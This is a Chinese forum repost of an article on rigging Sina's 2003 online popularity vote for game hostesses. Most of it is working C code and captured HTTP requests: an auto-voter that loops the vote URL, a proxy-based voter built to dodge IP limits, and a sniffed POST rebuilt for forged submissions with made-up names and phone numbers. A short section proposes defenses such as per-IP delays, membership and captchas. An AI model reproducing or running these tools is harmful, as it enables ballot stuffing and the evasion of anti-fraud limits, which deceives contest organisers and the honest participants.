返回列表 回复 发帖

[转帖]在线投票系统的破解

cnangel: 实在精彩!!!
一、前言:

国庆节黄金周居然要加班,真是郁闷啊,朋友给了一个网址:http://games.sina.com.cn/z/mm/ ,说是好多网络游戏MM在里面,据称里面还真有特别漂亮的,呵呵。我实在经不起诱惑,打开一看,原来是sina搞的一个活动,活动名称就叫“中国第一届游戏MM风采秀”,随便看了几个MM的视频,还真是漂亮哈。不过,作为一个喜欢找系统空子的人,我很快就盯上了其中的投票系统,嘿嘿。sina为这次活动举办了一次网友投票,来评选最受欢迎的网络MM,每个MM都有那么一个得票数,最后据说要选出5个得票最多的MM参加总决赛。


二、初步实验及简单投票器设计:

随便找了一个MM做实验,004016号的纳兰如意MM,准备瞧瞧sina的在线投票系统是不是有缺陷。

实验一,首先我在本机投了一票之后,又找了一台内网的机器再测试,还可以继续投,说明sina并没有限制每个IP的投票次数。在仔细地看了这个投票系统之后,发现实质上投票只不过是提交一个连接,就拿004016号MM来说,其实只要提交http://stat.sina.com.cn/cgi-bin/survey/mms2003/vote.pl?usernum=004016&title=纳兰如意,就可以增加一票。

实验二,打开一个新的IE窗口,提交上面的连接,返回的内容是“感谢您的参与!纳兰如意 的票数为 000xxxx 票”,这次投票成功,继续,用这个IE窗口第二次提交上面的连接,发现返回的内容是“请不要重复提交信息!”。看来sina还是设置了一次连接的投票次数限制,不过,总觉得有点问题,继续做下面的实验。

实验三,打开两个IE窗口,同时提交上面的连接,发现增加了两票,这一点说明sina也没有限制两次投票的间隔时间。怪了,刚才一个IE窗口提交两次连接怎么不成功。

啃了一个苹果后,突然恍然大悟,哈哈,原来sina是这样设置的,一次tcp连接只能投票一次,当检测到本次连接已经投过票之后,就会返回“请不要重复提交信息!”。而关掉这个已经投过票的IE时,这次连接就失效了。重新再打开IE提交投票连接时,就可以继续投票了。呵呵,sina的投票系统果然有很大的缺陷。下面就可以轻松地写出自动投票程序了,主要的代码如下:

void vote()
{
char url[200] = "http://stat.sina.com.cn/cgi-bin/survey/mms2003/vote.pl?usernum=004016&title=纳兰如意";
//可以改成任意MM的投票连接

HINTERNET hinternet=0;
hinternet=InternetOpen("Microsoft Internet Explorer",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if(hinternet==0)
{
return;
}
HINTERNET hInternetFile;
hInternetFile = InternetOpenUrl(hinternet,url, NULL, 0, INTERNET_FLAG_TRANSFER_BINARY | INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 0);
if (!hInternetFile)
{
return;
}

char buffer[2*1024] = "0";
DWORD dwBytesRead = 0;
InternetReadFile(hInternetFile,buffer,sizeof(buffer),&dwBytesRead);
printf("%s\n\n",buffer);

InternetCloseHandle(hinternet);
return;
}

上面这个vote()函数实现的功能就是提交一次投票连接,可以增加一票。由于限制了每次tcp连接的投票次数,所以,仅仅不停地调用这个函数是无法连续投票的,但是,呵呵,你可以绕一下,把这个函数编译成exe文件,然后用另外一个程序去不停地CreateProcess这个exe文件,假设上面的代码编译连接成toupiao.exe,你就可以用下面的代码来调用:

void main()
{
printf("code by xiaobai\n\n");

int num = 0;
printf("请输入投票次数: ");
scanf("%d", &num);

int i = 0;
while(i<num)
{
STARTUPINFO startinfo;
GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.wShowWindow = SW_HIDE;
PROCESS_INformATION processinfo;
if(CreateProcess(NULL, "toupiao.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &startinfo, &processinfo) == 0)
{
printf("Create process error!\n");
return;
}
CloseHandle(processinfo.hProcess);
Sleep(1000);
printf("%d ", i);
i++;
}
return;
}

这样一来,你就可以不停地投票了。为了程序的稳定性,我设置了每投一次票就sleep一秒钟,现在,你一个小时就可以投3600票,呵呵,是不是有点过分了,嘿嘿。


三、突破IP限制的隐蔽式投票器设计

前面我们已经设计了一个简单的投票器,虽然简单,不过,投票效率可是够高的,呵呵。但是,总觉得好象疏忽了点什么,感觉上不太对劲。哦,原来是IP的问题,我们刚才运行投票器后,总是自己本机一个IP地址在投票,如果对方记录了IP地址,那么,显示的票都是从这一个IP地址来的,那岂不是弄巧成拙。虽然现在看来sina好象并没有过滤一个IP地址的重复票的问题,但是,作为我们这种爱走“旁门左道”的人来说,我们总不能碰到问题就放手吧,嘿嘿。现在我们就来设计一个隐蔽性比较好的投票器,即使对方设置了IP地址的重复投票过滤,也可以成功地进行批量投票。

我们这个隐蔽式投票器的设计思想就是利用HTTP代理服务器。在网络上,我们可以很轻松地得到很多的http proxy,现在就利用代理来隐藏自己的IP,让http proxy代替我们来提交投票的请求,这样,显示在投票系统服务器上的IP地址就是http proxy的IP地址,就成功地隐蔽了自己的IP。所以,只要你有足够的http proxy,就可以投很多的票。


//----------------------
socktp.cpp
code by xiaobai
//----------------------
#include <Winsock2.h>
#include <winsock.h>

#pragma comment(lib,"WS2_32.lib")

void main(int argc,char* argv[])
{
WSADATA wsadata;
char lpbuffer[MAX_PATH*2+50]="0";
sockaddr_in addrin;
SOCKET sock;

if (WSAStartup(MAKEWORD( 2, 2 ),&wsadata)!=0)
return;
sock=socket(AF_INET,SOCK_STREAM,0);

addrin.sin_addr.s_addr = inet_addr(argv[1]);
addrin.sin_port =htons(atoi(argv[2]));
addrin.sin_family=AF_INET;

int rtn = connect(sock,(sockaddr*) &addrin,sizeof(addrin));

lstrcpy(lpbuffer,"GET http://stat.sina.com.cn/cgi-bin/survey/mms2003/vote.pl?usernum=004016&title=纳兰如意");
//可以修改成任何一个MM
send(sock,lpbuffer,lstrlen(lpbuffer),0);

closesocket(sock);
return;
}

上面就是投票器的主要实现代码,通过参数传递进去http proxy的IP地址和端口,就可以让代理去提交投票的连接,这样的话,显示在服务器上的IP就是http proxy的IP。这段代码可以利用你给的http proxy投一次票。编译连接成toupiao.exe文件后,把你所有的http proxy地址和端口按照一定格式保存为一个txt文件。跟上面的简单投票器一样,再利用另外一段程序,读取每个http proxy,读取后利用CreateProcess传递给toupiao.exe文件,就可以不停地投票了。

通过上面的代码,我们就成功地实现了具有隐蔽功能的投票器,即使投票服务器限制了IP地址的票数,也不怕了,因为http proxy在网络上简直是无限的。所以,只要你找到足够多的http proxy,你就可以投票足够多次,也不会出现大多数票都来自一个IP的情况了,呵呵。


四、解决对策与探讨

上面我们设计了可以突破IP限制的隐蔽式投票器,不过说到底,我们希望得到的是一个公平的竞争环境,我们都不喜欢作弊者。所以,我们要对在线投票系统的公平性要做些努力。

首先,对于sina的这次活动,给我的印象是sina不负责任。对于如此的投票缺陷,sina竟然无动于衷。在刚投票开始的时候,我就想把相关的缺陷情况反映给sina,可是,活动相关的信箱,自投票以来这几天,始终提示信箱已满,无法投递mail。论坛中无数人都在询问关于刷票的问题,始终没有人给一个负责的解释。

不过,话说回来,这其实也就是一个商业活动,对于投票的结果,sina不关注,赞助商也不会关注,他们关注的是最后达到的广告效应和即得的经济利益。

呵呵,话扯远了,还是回到技术的层面。为了防止在线投票系统作弊,应该做到下面几个步骤:

1、首先,设置投票IP限制,或者要求每个IP只能投一票,这样,可以有效地防止作弊。但是,现在由于IP地址并不充足,所以,有很多都是代理或者NAT来上网,所以,有可能很多人使用的是一个IP地址。所以,限制IP并不是一个很好的办法,有可能让很多人都没有投票的机会,这样本身就造成了不公平。

2、设置每个IP地址的投票延时,碰到1那种不合适的情况,就可以采用这个办法,每个IP地址在投票之后,要经过一段时间的延时才可以第二次投票。这样也是一种防止单个IP地址刷票的办法。

3、其实上面的方法对于我们设计的突破IP限制的隐蔽式投票器来说,都是没有任何意义的,那该怎么办呢?还是就以sina为对象来说,设置成为只有sina的会员投票,并且每个会员的投票次数都是有限制的,这样,对于防止所有类型的投票器都是很有效的,并且,为了加强效果,可以设置成每次投票都要输入一个随即产生的校验码。这样,再配合前面两种方法,就可以大大降低作弊的可能性。


其实,并不是我们想钻空子,我们只是想让这个网络对所有人都有一个公平的竞争环境。



10月10日晚7点补充:

昨天sina的投票就已经结束了,今天再看的时候就已经开始第二轮投票了,这次的投票方法改变了一下,不会让你很容易地发现投票提交的信息了,呵呵,看来安全了一些。就拿冰风传奇MM投票页来看吧,具体的连接是http://games.sina.com.cn/z/mm/vote_jz.shtml,要求投票者分配手中的30个点数,然后最后点击提交按钮来投票。由于不象以前那种可以直接得到投票的提交信息了,所以,表面上看起来好象作弊的难度大了。

但是,嘿嘿,还是有办法的。这就要请出我们的Sniffer来了,截获你在点击提交按钮时与sina服务器的交互过程,不就可以得到投票提交连接了么,呵呵。说做就做,打开Iris,监视80端口的信息。在冰风传奇MM投票页上,给1号填上2分,2号填上3分,19号填上4分,最后的姓名填上xiaobai,电话填上1234567,OK!,提交吧。哈哈,想要的东西来了,看下面截获的内容:

第一个数据包:
POST /cgi-bin/survey/games/mms2003/vote.cgi HTTP/1.1..Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*..Referer: http://games.sina.com.cn/z/mm/vote_jz.shtml..Accept-Language: zh-cn..Content-Type: application/x-www-form-urlencoded..Accept-Encoding: gzip, deflate..User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)..Host: stat.sina.com.cn..Content-Length: 500..Connection: Keep-Alive..Cache-Control: no-cache..Cookie: regplace=China...........X...6..

第二个数据包:
MMS_Game=%B1%F9%B7%E7%B4%AB%C6%E6&MMS_Result1=2&MMS_Result2=3&MMS_Result3=0%B7%D6&MMS_Result4=0%B7%D6&MMS_Result5=0%B7%D6&MMS_Result6=0%B7%D6&MMS_Result7=0%B7%D6&MMS_Result8=0%B7%D6&MMS_Result9=0%B7%D6&MMS_Result10=0%B7%D6&MMS_Result11=0%B7%D6&MMS_Result12=0%B7%D6&MMS_Result13=0%B7%D6&MMS_Result14=0%B7%D6&MMS_Result15=0%B7%D6&MMS_Result16=0%B7%D6&MMS_Result17=0%B7%D6&MMS_Result18=0%B7%D6&MMS_Result19=4&MMS_Result20=0%B7%D6&User_Name=xiaobai&User_Phone=1234567&User_Code=&User_Address=&User_Email=l=...

上面就是sniffer得到的东西,我只保留了http的部分。呵呵,看到了吧,用POST来提交/cgi-bin/survey/games/mms2003/vote.cgi,而内容则是后面第二个数据包的内容。第二个数据包的内容很容易理解,看里面1号选手对应的MMS_Result1=2,2号选手对应的MMS_Result2=3,19号选手对应的MMS_Result19=4,其他的都是0,还有后面的User_Name=xiaobai,User_Phone=1234567,呵呵,是不是我们刚才输入的内容。

既然提交的内容都得到了,那就来组合一下,就有了如下的内容:
http://stat.sina.com.cn/cgi-bin/survey/games/mms2003/vote.cgi?MMS_Game=%B1%F9%B7%E7%B4%AB%C6%E6&MMS_Result1=2&MMS_Result2=3&MMS_Result3=0%B7%D6&MMS_Result4=0%B7%D6&MMS_Result5=0%B7%D6&MMS_Result6=0%B7%D6&MMS_Result7=0%B7%D6&MMS_Result8=0%B7%D6&MMS_Result9=0%B7%D6&MMS_Result10=0%B7%D6&MMS_Result11=0%B7%D6&MMS_Result12=0%B7%D6&MMS_Result13=0%B7%D6&MMS_Result14=0%B7%D6&MMS_Result15=0%B7%D6&MMS_Result16=0%B7%D6&MMS_Result17=0%B7%D6&MMS_Result18=0%B7%D6&MMS_Result19=4&MMS_Result20=0%B7%D6&User_Name=xiaobai&User_Phone=1234567&User_Code=&User_Address=&User_Email=l=...

现在,只要打开IE,提交上面格式的请求,就可以很容易地增加票数了。你只需要把你想投票的MM找到对应的MMS_Result,后面加上你要投的票数,由于sina做了限制,每次只能最大是30。然后,改一下后面的User_Name和User_Phone,提交,呵呵,就投票成功了。我们想得到的已经得到了,投票器也可以轻松地写出来了。不过这次投票器的设计有一点点麻烦,每投一次票,都要随机再产生一个User_Name和User_Phone,呵呵。

本文的写作目的纯粹是抱有一种玩的思想,我也没有兴趣去作弊,因为,这里面没有一个MM是属于我的:(

as always, imagination of the attacker is the only limit... much more fun is possible.

:ht40:

                     我是一个呼吸着现在的空气而生活在过去的人
               这样的注定孤独,孤独的身处闹市却犹如置身于荒漠
                                     我已习惯了孤独,爱上孤独
                                 他让我看清了自我,还原了自我
                             让我再静静的沉思中得到快乐和满足
                                   再孤独的世界里我一遍又一遍
                                   不厌其烦的改写着自己的过去
                                             延伸到现在与未来
                                       然而那只是泡沫般的美梦
                                 产生的时刻又伴随着破灭的到来
                         在灰飞烟灭的瞬间我看到的是过程的美丽
                                      而不是结果的悲哀。。。
返回列表